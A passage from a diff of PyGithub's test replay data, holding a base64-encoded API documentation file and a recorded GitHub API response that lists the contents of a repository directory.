ZmlsZXMoKWA6IGl0ZXJhdG9yIG9mIGBGaWxlYAoKTWVyZ2lu\nZwotLS0tLS0tCiogYGlzX21lcmdlZCgpYDogYm9vbAoqIGBtZXJnZSggW2Nv\nbW1pdF9tZXNzYWdlXSApYDogYFB1bGxSZXF1ZXN0TWVyZ2VTdGF0dXNgCiAg\nICAqIGBjb21taXRfbWVzc2FnZWA6IHN0cmluZwoKTW9kaWZpY2F0aW9uCi0t\nLS0tLS0tLS0tLQoqIGBlZGl0KCBbdGl0bGUsIGJvZHksIHN0YXRlXSApYAog\nICAgKiBgdGl0bGVgOiBzdHJpbmcKICAgICogYGJvZHlgOiBzdHJpbmcKICAg\nICogYHN0YXRlYDogc3RyaW5nCgpDbGFzcyBgUHVsbFJlcXVlc3RDb21tZW50\nYAo9PT09PT09PT09PT09PT09PT09PT09PT09PQoKQXR0cmlidXRlcwotLS0t\nLS0tLS0tCiogYGJvZHlgOiBzdHJpbmcKKiBgY29tbWl0X2lkYDogc3RyaW5n\nCiogYGNyZWF0ZWRfYXRgOiBkYXRldGltZS5kYXRldGltZQoqIGBpZGA6IGlu\ndGVnZXIKKiBgb3JpZ2luYWxfY29tbWl0X2lkYDogc3RyaW5nCiogYG9yaWdp\nbmFsX3Bvc2l0aW9uYDogaW50ZWdlcgoqIGBwYXRoYDogc3RyaW5nCiogYHBv\nc2l0aW9uYDogaW50ZWdlcgoqIGB1cGRhdGVkX2F0YDogZGF0ZXRpbWUuZGF0\nZXRpbWUKKiBgdXJsYDogc3RyaW5nCiogYHVzZXJgOiBgTmFtZWRVc2VyYAoK\nRGVsZXRpb24KLS0tLS0tLS0KKiBgZGVsZXRlKClgCgpNb2RpZmljYXRpb24K\nLS0tLS0tLS0tLS0tCiogYGVkaXQoIGJvZHkgKWAKICAgICogYGJvZHlgOiBz\ndHJpbmcKCkNsYXNzIGBQdWxsUmVxdWVzdE1lcmdlU3RhdHVzYAo9PT09PT09\nPT09PT09PT09PT09PT09PT09PT09PT0KCkF0dHJpYnV0ZXMKLS0tLS0tLS0t\nLQoqIGBtZXJnZWRgOiBib29sCiogYG1lc3NhZ2VgOiBzdHJpbmcKKiBgc2hh\nYDogc3RyaW5nCgpDbGFzcyBgUHVsbFJlcXVlc3RQYXJ0YAo9PT09PT09PT09\nPT09PT09PT09PT09PQoKQXR0cmlidXRlcwotLS0tLS0tLS0tCiogYGxhYmVs\nYDogc3RyaW5nCiogYHJlZmA6IHN0cmluZwoqIGByZXBvYDogYFJlcG9zaXRv\ncnlgCiogYHNoYWA6IHN0cmluZwoqIGB1c2VyYDogYE5hbWVkVXNlcmAKCkNs\nYXNzIGBSZXBvc2l0b3J5YAo9PT09PT09PT09PT09PT09PT0KCkF0dHJpYnV0\nZXMKLS0tLS0tLS0tLQoqIGBjbG9uZV91cmxgOiBzdHJpbmcKKiBgY3JlYXRl\nZF9hdGA6IGRhdGV0aW1lLmRhdGV0aW1lCiogYGRlc2NyaXB0aW9uYDogc3Ry\naW5nCiogYGZvcmtgOiBib29sCiogYGZvcmtzYDogaW50ZWdlcgoqIGBmdWxs\nX25hbWVgOiBzdHJpbmcKKiBgZ2l0X3VybGA6IHN0cmluZwoqIGBoYXNfZG93\nbmxvYWRzYDogYm9vbAoqIGBoYXNfaXNzdWVzYDogYm9vbAoqIGBoYXNfd2lr\naWA6IGJvb2wKKiBgaG9tZXBhZ2VgOiBzdHJpbmcKKiBgaHRtbF91cmxgOiBz\ndHJpbmcKKiBgaWRgOiBpbnRlZ2VyCiogYGxhbmd1YWdlYDogc3RyaW5nCiog\nYG1hc3Rlcl9icmFuY2hgOiBzdHJpbmcKKiBgbmFtZWA6IHN0cmluZwoqIGBv\ncGVuX2lzc3Vlc2A6IGludGVnZXIKKiBgb3JnYW5pemF0aW9uYDogYE9yZ2Fu\naXphdGlvbmAKKiBgb3duZXJgOiBgTmFtZWRVc2VyYAoqIGBwYXJlbnRgOiBg\nUmVwb3NpdG9yeWAKKiBgcGVybWlzc2lvbnNgOiBgUGVybWlzc2lvbnNgCiog\nYHByaXZhdGVgOiBib29sCiogYHB1c2hlZF9hdGA6IGRhdGV0aW1lLmRhdGV0\naW1lCiogYHNpemVgOiBpbnRlZ2VyCiogYHNvdXJjZWA6IGBSZXBvc2l0b3J5\nYAoqIGBzc2hfdXJsYDogc3RyaW5nCiogYHN2bl91cmxgOiBzdHJpbmcKKiBg\ndXBkYXRlZF9hdGA6IGRhdGV0aW1lLmRhdGV0aW1lCiogYHVybGA6IHN0cmlu\nZwoqIGB3YXRjaGVyc2A6IGludGVnZXIKCkRlbGV0aW9uCi0tLS0tLS0tCiog\nYGRlbGV0ZSgpYAoKQ29tcGFyaXNvbgotLS0tLS0tLS0tCiogYGNvbXBhcmUo\nIGJhc2UsIGhlYWQgKWA6IGBDb21wYXJpc29uYAogICAgKiBgYmFzZWA6IHN0\ncmluZwogICAgKiBgaGVhZGA6IHN0cmluZwoKQnJhbmNoZXMKLS0tLS0tLS0K\nKiBgZ2V0X2JyYW5jaGVzKClgOiBpdGVyYXRvciBvZiBgQnJhbmNoYAoKQ29s\nbGFib3JhdG9ycwotLS0tLS0tLS0tLS0tCiogYGFkZF90b19jb2xsYWJvcmF0\nb3JzKCBjb2xsYWJvcmF0b3IgKWAKICAgICogYGNvbGxhYm9yYXRvcmA6IGBO\nYW1lZFVzZXJgCiogYGdldF9jb2xsYWJvcmF0b3JzKClgOiBpdGVyYXRvciBv\nZiBgTmFtZWRVc2VyYAoqIGBoYXNfaW5fY29sbGFib3JhdG9ycyggY29sbGFi\nb3JhdG9yIClgOiBib29sCiAgICAqIGBjb2xsYWJvcmF0b3JgOiBgTmFtZWRV\nc2VyYAoqIGByZW1vdmVfZnJvbV9jb2xsYWJvcmF0b3JzKCBjb2xsYWJvcmF0\nb3IgKWAKICAgICogYGNvbGxhYm9yYXRvcmA6IGBOYW1lZFVzZXJgCgpDb21t\nZW50cwotLS0tLS0tLQoqIGBnZXRfY29tbWVudCggaWQgKWA6IGBDb21taXRD\nb21tZW50YAogICAgKiBgaWRgOiBpbnRlZ2VyCiogYGdldF9jb21tZW50cygp\nYDogaXRlcmF0b3Igb2YgYENvbW1pdENvbW1lbnRgCgpDb21taXRzCi0tLS0t\nLS0KKiBgZ2V0X2NvbW1pdCggc2hhIClgOiBgQ29tbWl0YAogICAgKiBgc2hh\nYDogc3RyaW5nCiogYGdldF9jb21taXRzKCBbc2hhLCBwYXRoXSApYDogaXRl\ncmF0b3Igb2YgYENvbW1pdGAKICAgICogYHNoYWA6IHN0cmluZwogICAgKiBg\ncGF0aGA6IHN0cmluZwoKQ29udHJpYnV0b3JzCi0tLS0tLS0tLS0tLQoqIGBn\nZXRfY29udHJpYnV0b3JzKClgOiBpdGVyYXRvciBvZiBgTmFtZWRVc2VyYAoK\nRG93bmxvYWRzCi0tLS0tLS0tLQoqIGBjcmVhdGVfZG93bmxvYWQoIG5hbWUs\nIHNpemUsIFtkZXNjcmlwdGlvbiwgY29udGVudF90eXBlXSApYDogYERvd25s\nb2FkYAogICAgKiBgbmFtZWA6IHN0cmluZwogICAgKiBgc2l6ZWA6IGludGVn\nZXIKICAgICogYGRlc2NyaXB0aW9uYDogc3RyaW5nCiAgICAqIGBjb250ZW50\nX3R5cGVgOiBzdHJpbmcKKiBgZ2V0X2Rvd25sb2FkKCBpZCApYDogYERvd25s\nb2FkYAogICAgKiBgaWRgOiBpbnRlZ2VyCiogYGdldF9kb3dubG9hZHMoKWA6\nIGl0ZXJhdG9yIG9mIGBEb3dubG9hZGAKCkV2ZW50cwotLS0tLS0KKiBgZ2V0\nX2V2ZW50cygpYDogaXRlcmF0b3Igb2YgYEV2ZW50YAoqIGBnZXRfbmV0d29y\na19ldmVudHMoKWA6IGl0ZXJhdG9yIG9mIGBFdmVudGAKCkZvcmtzCi0tLS0t\nCiogYGdldF9mb3JrcygpYDogaXRlcmF0b3Igb2YgYFJlcG9zaXRvcnlgCgpH\naXRfYmxvYnMKLS0tLS0tLS0tCiogYGNyZWF0ZV9naXRfYmxvYiggY29udGVu\ndCwgZW5jb2RpbmcgKWA6IGBHaXRCbG9iYAogICAgKiBgY29udGVudGA6IHN0\ncmluZwogICAgKiBgZW5jb2RpbmdgOiBzdHJpbmcKKiBgZ2V0X2dpdF9ibG9i\nKCBzaGEgKWA6IGBHaXRCbG9iYAogICAgKiBgc2hhYDogc3RyaW5nCgpHaXRf\nY29tbWl0cwotLS0tLS0tLS0tLQoqIGBjcmVhdGVfZ2l0X2NvbW1pdCggbWVz\nc2FnZSwgdHJlZSwgcGFyZW50cywgW2F1dGhvciwgY29tbWl0dGVyXSApYDog\nYEdpdENvbW1pdGAKICAgICogYG1lc3NhZ2VgOiBzdHJpbmcKICAgICogYHRy\nZWVgOiBgR2l0VHJlZWAKICAgICogYHBhcmVudHNgOiBsaXN0IG9mIGBHaXRD\nb21taXRgCiAgICAqIGBhdXRob3JgOiBgSW5wdXRHaXRBdXRob3JgCiAgICAq\nIGBjb21taXR0ZXJgOiBgSW5wdXRHaXRBdXRob3JgCiogYGdldF9naXRfY29t\nbWl0KCBzaGEgKWA6IGBHaXRDb21taXRgCiAgICAqIGBzaGFgOiBzdHJpbmcK\nCkdpdF9yZWZzCi0tLS0tLS0tCiogYGNyZWF0ZV9naXRfcmVmKCByZWYsIHNo\nYSApYDogYEdpdFJlZmAKICAgICogYHJlZmA6IHN0cmluZwogICAgKiBgc2hh\nYDogc3RyaW5nCiogYGdldF9naXRfcmVmKCByZWYgKWA6IGBHaXRSZWZgCiAg\nICAqIGByZWZgOiBzdHJpbmcKKiBgZ2V0X2dpdF9yZWZzKClgOiBpdGVyYXRv\nciBvZiBgR2l0UmVmYAoKR2l0X3RhZ3MKLS0tLS0tLS0KKiBgY3JlYXRlX2dp\ndF90YWcoIHRhZywgbWVzc2FnZSwgb2JqZWN0LCB0eXBlLCBbdGFnZ2VyXSAp\nYDogYEdpdFRhZ2AKICAgICogYHRhZ2A6IHN0cmluZwogICAgKiBgbWVzc2Fn\nZWA6IHN0cmluZwogICAgKiBgb2JqZWN0YDogc3RyaW5nCiAgICAqIGB0eXBl\nYDogc3RyaW5nCiAgICAqIGB0YWdnZXJgOiBgSW5wdXRHaXRBdXRob3JgCiog\nYGdldF9naXRfdGFnKCBzaGEgKWA6IGBHaXRUYWdgCiAgICAqIGBzaGFgOiBz\ndHJpbmcKCkdpdF90cmVlcwotLS0tLS0tLS0KKiBgY3JlYXRlX2dpdF90cmVl\nKCB0cmVlLCBbYmFzZV90cmVlXSApYDogYEdpdFRyZWVgCiAgICAqIGB0cmVl\nYDogbGlzdCBvZiBgSW5wdXRHaXRUcmVlRWxlbWVudGAKICAgICogYGJhc2Vf\ndHJlZWA6IGBHaXRUcmVlYAoqIGBnZXRfZ2l0X3RyZWUoIHNoYSwgW3JlY3Vy\nc2l2ZV0gKWA6IGBHaXRUcmVlYAogICAgKiBgc2hhYDogc3RyaW5nCiAgICAq\nIGByZWN1cnNpdmVgOiBib29sCgpIb29rcwotLS0tLQoqIGBjcmVhdGVfaG9v\nayggbmFtZSwgY29uZmlnLCBbZXZlbnRzLCBhY3RpdmVdIClgOiBgSG9va2AK\nICAgICogYG5hbWVgOiBzdHJpbmcKICAgICogYGNvbmZpZ2A6IGRpY3QKICAg\nICogYGV2ZW50c2A6IGxpc3Qgb2Ygc3RyaW5nCiAgICAqIGBhY3RpdmVgOiBi\nb29sCiogYGdldF9ob29rKCBpZCApYDogYEhvb2tgCiAgICAqIGBpZGA6IGlu\ndGVnZXIKKiBgZ2V0X2hvb2tzKClgOiBpdGVyYXRvciBvZiBgSG9va2AKCklz\nc3VlcwotLS0tLS0KKiBgY3JlYXRlX2lzc3VlKCB0aXRsZSwgW2JvZHksIGFz\nc2lnbmVlLCBtaWxlc3RvbmUsIGxhYmVsc10gKWA6IGBJc3N1ZWAKICAgICog\nYHRpdGxlYDogc3RyaW5nCiAgICAqIGBib2R5YDogc3RyaW5nCiAgICAqIGBh\nc3NpZ25lZWA6IGBOYW1lZFVzZXJgCiAgICAqIGBtaWxlc3RvbmVgOiBgTWls\nZXN0b25lYAogICAgKiBgbGFiZWxzYDogbGlzdCBvZiBgTGFiZWxgCiogYGdl\ndF9pc3N1ZSggbnVtYmVyIClgOiBgSXNzdWVgCiAgICAqIGBudW1iZXJgOiBp\nbnRlZ2VyCiogYGdldF9pc3N1ZXMoIFttaWxlc3RvbmUsIHN0YXRlLCBhc3Np\nZ25lZSwgbWVudGlvbmVkLCBsYWJlbHMsIHNvcnQsIGRpcmVjdGlvbiwgc2lu\nY2VdIClgOiBpdGVyYXRvciBvZiBgSXNzdWVgCiAgICAqIGBtaWxlc3RvbmVg\nOiBgTWlsZXN0b25lYCBvciAibm9uZSIgb3IgIioiCiAgICAqIGBzdGF0ZWA6\nIHN0cmluZwogICAgKiBgYXNzaWduZWVgOiBgTmFtZWRVc2VyYCBvciAibm9u\nZSIgb3IgIioiCiAgICAqIGBtZW50aW9uZWRgOiBgTmFtZWRVc2VyYAogICAg\nKiBgbGFiZWxzYDogbGlzdCBvZiBgTGFiZWxgCiAgICAqIGBzb3J0YDogc3Ry\naW5nCiAgICAqIGBkaXJlY3Rpb25gOiBzdHJpbmcKICAgICogYHNpbmNlYDog\nZGF0ZXRpbWUuZGF0ZXRpbWUKKiBgbGVnYWN5X3NlYXJjaF9pc3N1ZXMoIHN0\nYXRlLCBrZXl3b3JkIClgOiBpdGVyYXRvciBvZiBgSXNzdWVgCiAgICAqIGBz\ndGF0ZWA6ICJvcGVuIiBvciAiY2xvc2VkIgogICAgKiBga2V5d29yZGA6IHN0\ncmluZwoKSXNzdWVzX2V2ZW50cwotLS0tLS0tLS0tLS0tCiogYGdldF9pc3N1\nZXNfZXZlbnQoIGlkIClgOiBgSXNzdWVFdmVudGAKICAgICogYGlkYDogaW50\nZWdlcgoqIGBnZXRfaXNzdWVzX2V2ZW50cygpYDogaXRlcmF0b3Igb2YgYElz\nc3VlRXZlbnRgCgpLZXlzCi0tLS0KKiBgY3JlYXRlX2tleSggdGl0bGUsIGtl\neSApYDogYFJlcG9zaXRvcnlLZXlgCiAgICAqIGB0aXRsZWA6IHN0cmluZwog\nICAgKiBga2V5YDogc3RyaW5nCiogYGdldF9rZXkoIGlkIClgOiBgUmVwb3Np\ndG9yeUtleWAKICAgICogYGlkYDogaW50ZWdlcgoqIGBnZXRfa2V5cygpYDog\naXRlcmF0b3Igb2YgYFJlcG9zaXRvcnlLZXlgCgpMYWJlbHMKLS0tLS0tCiog\nYGNyZWF0ZV9sYWJlbCggbmFtZSwgY29sb3IgKWA6IGBMYWJlbGAKICAgICog\nYG5hbWVgOiBzdHJpbmcKICAgICogYGNvbG9yYDogc3RyaW5nCiogYGdldF9s\nYWJlbCggbmFtZSApYDogYExhYmVsYAogICAgKiBgbmFtZWA6IHN0cmluZwoq\nIGBnZXRfbGFiZWxzKClgOiBpdGVyYXRvciBvZiBgTGFiZWxgCgpMYW5ndWFn\nZXMKLS0tLS0tLS0tCiogYGdldF9sYW5ndWFnZXMoKWA6IGRpY3Qgb2Ygc3Ry\naW5nIHRvIGludGVnZXIKCk1pbGVzdG9uZXMKLS0tLS0tLS0tLQoqIGBjcmVh\ndGVfbWlsZXN0b25lKCB0aXRsZSwgW3N0YXRlLCBkZXNjcmlwdGlvbiwgZHVl\nX29uXSApYDogYE1pbGVzdG9uZWAKICAgICogYHRpdGxlYDogc3RyaW5nCiAg\nICAqIGBzdGF0ZWA6IHN0cmluZwogICAgKiBgZGVzY3JpcHRpb25gOiBzdHJp\nbmcKICAgICogYGR1ZV9vbmA6IGRhdGUKKiBgZ2V0X21pbGVzdG9uZSggbnVt\nYmVyIClgOiBgTWlsZXN0b25lYAogICAgKiBgbnVtYmVyYDogaW50ZWdlcgoq\nIGBnZXRfbWlsZXN0b25lcyggW3N0YXRlLCBzb3J0LCBkaXJlY3Rpb25dIClg\nOiBpdGVyYXRvciBvZiBgTWlsZXN0b25lYAogICAgKiBgc3RhdGVgOiBzdHJp\nbmcKICAgICogYHNvcnRgOiBzdHJpbmcKICAgICogYGRpcmVjdGlvbmA6IHN0\ncmluZwoKTW9kaWZpY2F0aW9uCi0tLS0tLS0tLS0tLQoqIGBlZGl0KCBuYW1l\nLCBbZGVzY3JpcHRpb24sIGhvbWVwYWdlLCBwdWJsaWMsIGhhc19pc3N1ZXMs\nIGhhc193aWtpLCBoYXNfZG93bmxvYWRzXSApYAogICAgKiBgbmFtZWA6IHN0\ncmluZwogICAgKiBgZGVzY3JpcHRpb25gOiBzdHJpbmcKICAgICogYGhvbWVw\nYWdlYDogc3RyaW5nCiAgICAqIGBwdWJsaWNgOiBib29sCiAgICAqIGBoYXNf\naXNzdWVzYDogYm9vbAogICAgKiBgaGFzX3dpa2lgOiBib29sCiAgICAqIGBo\nYXNfZG93bmxvYWRzYDogYm9vbAoKUHVsbHMKLS0tLS0KKiBgY3JlYXRlX3B1\nbGwoIDwgdGl0bGUsIGJvZHksIGJhc2UsIGhlYWQgPiBvciA8IGlzc3VlLCBi\nYXNlLCBoZWFkID4gKWA6IGBQdWxsUmVxdWVzdGAKICAgICogYHRpdGxlYDog\nc3RyaW5nCiAgICAqIGBib2R5YDogc3RyaW5nCiAgICAqIGBpc3N1ZWA6IGBJ\nc3N1ZWAKICAgICogYGJhc2VgOiBzdHJpbmcKICAgICogYGhlYWRgOiBzdHJp\nbmcKKiBgZ2V0X3B1bGwoIG51bWJlciApYDogYFB1bGxSZXF1ZXN0YAogICAg\nKiBgbnVtYmVyYDogaW50ZWdlcgoqIGBnZXRfcHVsbHMoIFtzdGF0ZV0gKWA6\nIGl0ZXJhdG9yIG9mIGBQdWxsUmVxdWVzdGAKICAgICogYHN0YXRlYDogc3Ry\naW5nCgpUYWdzCi0tLS0KKiBgZ2V0X3RhZ3MoKWA6IGl0ZXJhdG9yIG9mIGBU\nYWdgCgpUZWFtcwotLS0tLQoqIGBnZXRfdGVhbXMoKWA6IGl0ZXJhdG9yIG9m\nIGBUZWFtYAoKV2F0Y2hlcnMKLS0tLS0tLS0KKiBgZ2V0X3dhdGNoZXJzKClg\nOiBpdGVyYXRvciBvZiBgTmFtZWRVc2VyYAoKQ2xhc3MgYFJlcG9zaXRvcnlL\nZXlgCj09PT09PT09PT09PT09PT09PT09PQoKQXR0cmlidXRlcwotLS0tLS0t\nLS0tCiogYGlkYDogaW50ZWdlcgoqIGBrZXlgOiBzdHJpbmcKKiBgdGl0bGVg\nOiBzdHJpbmcKKiBgdXJsYDogc3RyaW5nCiogYHZlcmlmaWVkYDogYm9vbAoK\nRGVsZXRpb24KLS0tLS0tLS0KKiBgZGVsZXRlKClgCgpNb2RpZmljYXRpb24K\nLS0tLS0tLS0tLS0tCiogYGVkaXQoIFt0aXRsZSwga2V5XSApYAogICAgKiBg\ndGl0bGVgOiBzdHJpbmcKICAgICogYGtleWA6IHN0cmluZwoKQ2xhc3MgYFRh\nZ2AKPT09PT09PT09PT0KCkF0dHJpYnV0ZXMKLS0tLS0tLS0tLQoqIGBjb21t\naXRgOiBgQ29tbWl0YAoqIGBuYW1lYDogc3RyaW5nCiogYHRhcmJhbGxfdXJs\nYDogc3RyaW5nCiogYHppcGJhbGxfdXJsYDogc3RyaW5nCgpDbGFzcyBgVGVh\nbWAKPT09PT09PT09PT09CgpBdHRyaWJ1dGVzCi0tLS0tLS0tLS0KKiBgaWRg\nOiBpbnRlZ2VyCiogYG1lbWJlcnNfY291bnRgOiBpbnRlZ2VyCiogYG5hbWVg\nOiBzdHJpbmcKKiBgcGVybWlzc2lvbmA6IHN0cmluZwoqIGByZXBvc19jb3Vu\ndGA6IGludGVnZXIKKiBgdXJsYDogc3RyaW5nCgpEZWxldGlvbgotLS0tLS0t\nLQoqIGBkZWxldGUoKWAKCk1lbWJlcnMKLS0tLS0tLQoqIGBhZGRfdG9fbWVt\nYmVycyggbWVtYmVyIClgCiAgICAqIGBtZW1iZXJgOiBgTmFtZWRVc2VyYAoq\nIGBnZXRfbWVtYmVycygpYDogaXRlcmF0b3Igb2YgYE5hbWVkVXNlcmAKKiBg\naGFzX2luX21lbWJlcnMoIG1lbWJlciApYDogYm9vbAogICAgKiBgbWVtYmVy\nYDogYE5hbWVkVXNlcmAKKiBgcmVtb3ZlX2Zyb21fbWVtYmVycyggbWVtYmVy\nIClgCiAgICAqIGBtZW1iZXJgOiBgTmFtZWRVc2VyYAoKTW9kaWZpY2F0aW9u\nCi0tLS0tLS0tLS0tLQoqIGBlZGl0KCBuYW1lLCBbcGVybWlzc2lvbl0gKWAK\nICAgICogYG5hbWVgOiBzdHJpbmcKICAgICogYHBlcm1pc3Npb25gOiBzdHJp\nbmcKClJlcG9zCi0tLS0tCiogYGFkZF90b19yZXBvcyggcmVwbyApYAogICAg\nKiBgcmVwb2A6IGBSZXBvc2l0b3J5YAoqIGBnZXRfcmVwb3MoKWA6IGl0ZXJh\ndG9yIG9mIGBSZXBvc2l0b3J5YAoqIGBoYXNfaW5fcmVwb3MoIHJlcG8gKWA6\nIGJvb2wKICAgICogYHJlcG9gOiBgUmVwb3NpdG9yeWAKKiBgcmVtb3ZlX2Zy\nb21fcmVwb3MoIHJlcG8gKWAKICAgICogYHJlcG9gOiBgUmVwb3NpdG9yeWAK\nCkNsYXNzIGBVc2VyS2V5YAo9PT09PT09PT09PT09PT0KCkF0dHJpYnV0ZXMK\nLS0tLS0tLS0tLQoqIGBpZGA6IGludGVnZXIKKiBga2V5YDogc3RyaW5nCiog\nYHRpdGxlYDogc3RyaW5nCiogYHVybGA6IHN0cmluZwoqIGB2ZXJpZmllZGA6\nIGJvb2wKCkRlbGV0aW9uCi0tLS0tLS0tCiogYGRlbGV0ZSgpYAoKTW9kaWZp\nY2F0aW9uCi0tLS0tLS0tLS0tLQoqIGBlZGl0KCBbdGl0bGUsIGtleV0gKWAK\nICAgICogYHRpdGxlYDogc3RyaW5nCiAgICAqIGBrZXlgOiBzdHJpbmcK\n"} - diff --git a/tests/ReplayData/Repository.testGetContentsDir.txt b/tests/ReplayData/Repository.testGetContentsDir.txt index d962deb95e..40323aaa7d 100644 --- a/tests/ReplayData/Repository.testGetContentsDir.txt +++ b/tests/ReplayData/Repository.testGetContentsDir.txt @@ -8,4 +8,3 @@ None 200 [('content-length', '9998'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding'), ('x-served-by', '01d096e6cfe28f8aea352e988c332cd3'), ('x-oauth-client-id', 'd408456562a3db38febf'), ('x-oauth-scopes', 'repo, write:repo_hook'), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('x-accepted-oauth-scopes', ''), ('etag', '"c75510b6d23cfb87768b59121bb1763a"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('status', '200 OK'), ('x-ratelimit-remaining', '4984'), ('x-github-media-type', 'github.v3; format=json'), ('access-control-expose-headers', 'ETag, Link, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', '5DE87F72:75F9:9EF346:57DA8E59'), ('last-modified', 'Thu, 15 Sep 2016 12:04:32 GMT'), ('date', 'Thu, 15 Sep 2016 12:04:42 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-frame-options', 'deny'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1473942365')] [{"name":".gitignore","path":".gitignore","sha":"43d495ed8185348ef800ccd768bf9eb47eea433b","size":2036,"url":"https://api.github.com/repos/jayfk/PyGithub/contents/.gitignore?ref=master","html_url":"https://github.com/jayfk/PyGithub/blob/master/.gitignore","git_url":"https://api.github.com/repos/jayfk/PyGithub/git/blobs/43d495ed8185348ef800ccd768bf9eb47eea433b","download_url":"https://raw.githubusercontent.com/jayfk/PyGithub/master/.gitignore","type":"file","_links":{"self":"https://api.github.com/repos/jayfk/PyGithub/contents/.gitignore?ref=master","git":"https://api.github.com/repos/jayfk/PyGithub/git/blobs/43d495ed8185348ef800ccd768bf9eb47eea433b","html":"https://github.com/jayfk/PyGithub/blob/master/.gitignore"}},{"name":".travis.yml","path":".travis.yml","sha":"5b7b29ac787f3a535eff409592ef40ccd04595d8","size":494,"url":"https://api.github.com/repos/jayfk/PyGithub/contents/.travis.yml?ref=master","html_url":"https://github.com/jayfk/PyGithub/blob/master/.travis.yml","git_url":"https://api.github.com/repos/jayfk/PyGithub/git/blobs/5b7b29ac787f3a535eff409592ef40ccd04595d8","download_url":"https://raw.githubusercontent.com/jayfk/PyGithub/master/.travis.yml","type":"file","_links":{"self":"https://api.github.com/repos/jayfk/PyGithub/contents/.travis.yml?ref=master","git":"https://api.github.com/repos/jayfk/PyGithub/git/blobs/5b7b29ac787f3a535eff409592ef40ccd04595d8","html":"https://github.com/jayfk/PyGithub/blob/master/.travis.yml"}},{"name":"CONTRIBUTING.md","path":"CONTRIBUTING.md","sha":"138fa737b13a13582bf53acea7ee534aa197328a","size":2424,"url":"https://api.github.com/repos/jayfk/PyGithub/contents/CONTRIBUTING.md?ref=master","html_url":"https://github.com/jayfk/PyGithub/blob/master/CONTRIBUTING.md","git_url":"https://api.github.com/repos/jayfk/PyGithub/git/blobs/138fa737b13a13582bf53acea7ee534aa197328a","download_url":"https://raw.githubusercontent.com/jayfk/PyGithub/master/CONTRIBUTING.md","type":"file","_links":{"self":"https://api.github.com/repos/jayfk/PyGithub/contents/CONTRIBUTING.md?ref=master","git":"https://api.github.com/repos/jayfk/PyGithub/git/blobs/138fa737b13a13582bf53acea7ee534aa197328a","html":"https://github.com/jayfk/PyGithub/blob/master/CONTRIBUTING.md"}},{"name":"COPYING","path":"COPYING","sha":"94a9ed024d3859793618152ea559a168bbcbb5e2","size":35147,"url":"https://api.github.com/repos/jayfk/PyGithub/contents/COPYING?ref=master","html_url":"https://github.com/jayfk/PyGithub/blob/master/COPYING","git_url":"https://api.github.com/repos/jayfk/PyGithub/git/blobs/94a9ed024d3859793618152ea559a168bbcbb5e2","download_url":"https://raw.githubusercontent.com/jayfk/PyGithub/master/COPYING","type":"file","_links":{"self":"https://api.github.com/repos/jayfk/PyGithub/contents/COPYING?ref=master","git":"https://api.github.com/repos/jayfk/PyGithub/git/blobs/94a9ed024d3859793618152ea559a168bbcbb5e2","html":"https://github.com/jayfk/PyGithub/blob/master/COPYING"}},{"name":"COPYING.LESSER","path":"COPYING.LESSER","sha":"65c5ca88a67c30becee01c5a8816d964b03862f9","size":7651,"url":"https://api.github.com/repos/jayfk/PyGithub/contents/COPYING.LESSER?ref=master","html_url":"https://github.com/jayfk/PyGithub/blob/master/COPYING.LESSER","git_url":"https://api.github.com/repos/jayfk/PyGithub/git/blobs/65c5ca88a67c30becee01c5a8816d964b03862f9","download_url":"https://raw.githubusercontent.com/jayfk/PyGithub/master/COPYING.LESSER","type":"file","_links":{"self":"https://api.github.com/repos/jayfk/PyGithub/contents/COPYING.LESSER?ref=master","git":"https://api.github.com/repos/jayfk/PyGithub/git/blobs/65c5ca88a67c30becee01c5a8816d964b03862f9","html":"https://github.com/jayfk/PyGithub/blob/master/COPYING.LESSER"}},{"name":"MAINTAINERS","path":"MAINTAINERS","sha":"f8cbd3bbeba08404099c4bc57135b7d21b9e5616","size":216,"url":"https://api.github.com/repos/jayfk/PyGithub/contents/MAINTAINERS?ref=master","html_url":"https://github.com/jayfk/PyGithub/blob/master/MAINTAINERS","git_url":"https://api.github.com/repos/jayfk/PyGithub/git/blobs/f8cbd3bbeba08404099c4bc57135b7d21b9e5616","download_url":"https://raw.githubusercontent.com/jayfk/PyGithub/master/MAINTAINERS","type":"file","_links":{"self":"https://api.github.com/repos/jayfk/PyGithub/contents/MAINTAINERS?ref=master","git":"https://api.github.com/repos/jayfk/PyGithub/git/blobs/f8cbd3bbeba08404099c4bc57135b7d21b9e5616","html":"https://github.com/jayfk/PyGithub/blob/master/MAINTAINERS"}},{"name":"MANIFEST.in","path":"MANIFEST.in","sha":"501859533a9b38d0705e5c8cab4380610d574dd7","size":35,"url":"https://api.github.com/repos/jayfk/PyGithub/contents/MANIFEST.in?ref=master","html_url":"https://github.com/jayfk/PyGithub/blob/master/MANIFEST.in","git_url":"https://api.github.com/repos/jayfk/PyGithub/git/blobs/501859533a9b38d0705e5c8cab4380610d574dd7","download_url":"https://raw.githubusercontent.com/jayfk/PyGithub/master/MANIFEST.in","type":"file","_links":{"self":"https://api.github.com/repos/jayfk/PyGithub/contents/MANIFEST.in?ref=master","git":"https://api.github.com/repos/jayfk/PyGithub/git/blobs/501859533a9b38d0705e5c8cab4380610d574dd7","html":"https://github.com/jayfk/PyGithub/blob/master/MANIFEST.in"}},{"name":"README.md","path":"README.md","sha":"ae065a7ba88a6614cb0a8cdbe5bd58a317654548","size":1570,"url":"https://api.github.com/repos/jayfk/PyGithub/contents/README.md?ref=master","html_url":"https://github.com/jayfk/PyGithub/blob/master/README.md","git_url":"https://api.github.com/repos/jayfk/PyGithub/git/blobs/ae065a7ba88a6614cb0a8cdbe5bd58a317654548","download_url":"https://raw.githubusercontent.com/jayfk/PyGithub/master/README.md","type":"file","_links":{"self":"https://api.github.com/repos/jayfk/PyGithub/contents/README.md?ref=master","git":"https://api.github.com/repos/jayfk/PyGithub/git/blobs/ae065a7ba88a6614cb0a8cdbe5bd58a317654548","html":"https://github.com/jayfk/PyGithub/blob/master/README.md"}},{"name":"doc","path":"doc","sha":"42cda5799d4f5668c7d59e17c1593debe6410f7f","size":0,"url":"https://api.github.